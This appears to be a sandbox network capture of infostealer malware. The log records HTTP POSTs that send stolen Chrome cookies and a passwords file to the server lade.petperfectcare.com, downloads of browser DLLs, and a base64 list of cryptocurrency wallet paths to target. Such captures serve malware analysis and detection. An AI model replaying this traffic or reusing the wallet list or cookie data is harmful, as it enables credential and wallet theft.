Oct 7, 2024 18:00:45.788149118 CEST	1019	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: lade.petperfectcare.com Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DBKKFCBAKKFBGCBFHJDG--
Oct 7, 2024 18:00:46.634886980 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:46.735332966 CEST	627	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI Host: lade.petperfectcare.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 [TRUNCATED] Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file_data"------GCGDHJDAFHJEBFIDAFHI--
Oct 7, 2024 18:00:47.495245934 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:47.608026981 CEST	627	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAK Host: lade.petperfectcare.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 [TRUNCATED] Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="file_data"------BKECFIIEHCFHIECAFBAK--
Oct 7, 2024 18:00:48.408725023 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:48.516670942 CEST	109	OUT	GET /freebl3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:48.720957994 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:48 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 18:00:49.493478060 CEST	109	OUT	GET /mozglue.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:49.702430964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:49 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 18:00:50.322238922 CEST	110	OUT	GET /msvcp140.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:50.532222033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:50 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 18:00:51.023407936 CEST	110	OUT	GET /softokn3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:51.219032049 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:51 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 18:00:51.439532995 CEST	114	OUT	GET /vcruntime140.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:51.799915075 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:51 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 18:00:51.839626074 CEST	106	OUT	GET /nss3.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:52.046732903 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:51 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 18:00:54.588578939 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: lade.petperfectcare.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:55.336705923 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:55.586596012 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="mode"3------CBFCFBFBFBKFIDHJKFCA--
Oct 7, 2024 18:00:56.575999975 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 7, 2024 18:00:56.578372002 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCA Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 